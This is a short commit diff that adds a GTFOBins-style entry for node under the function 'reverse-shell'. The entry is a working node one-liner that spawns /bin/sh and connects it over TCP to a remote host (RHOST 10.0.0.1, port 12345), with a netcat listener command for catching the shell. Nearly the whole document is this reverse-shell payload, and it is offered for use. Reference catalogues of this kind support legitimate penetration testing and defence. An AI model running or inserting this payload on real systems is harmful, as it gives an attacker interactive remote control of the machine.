Add node reverse-shell

_gtfobins/node.md

@@ -0,0 +1,15 @@
+---
+functions:
+  reverse-shell:
+    - description: Run `nc -l -p 12345` to receive the shell on the other end.
+      code: |
+        export RHOST=10.0.0.1
+        export RPORT=12345
+        node -e 'sh = require("child_process").spawn("/bin/sh", []);
+        client = new require("net").Socket();
+        client.connect(process.env.RPORT, process.env.RHOST, function(){
+          client.pipe(sh.stdin);
+          sh.stdout.pipe(client);
+          sh.stderr.pipe(client);
+        });'
+---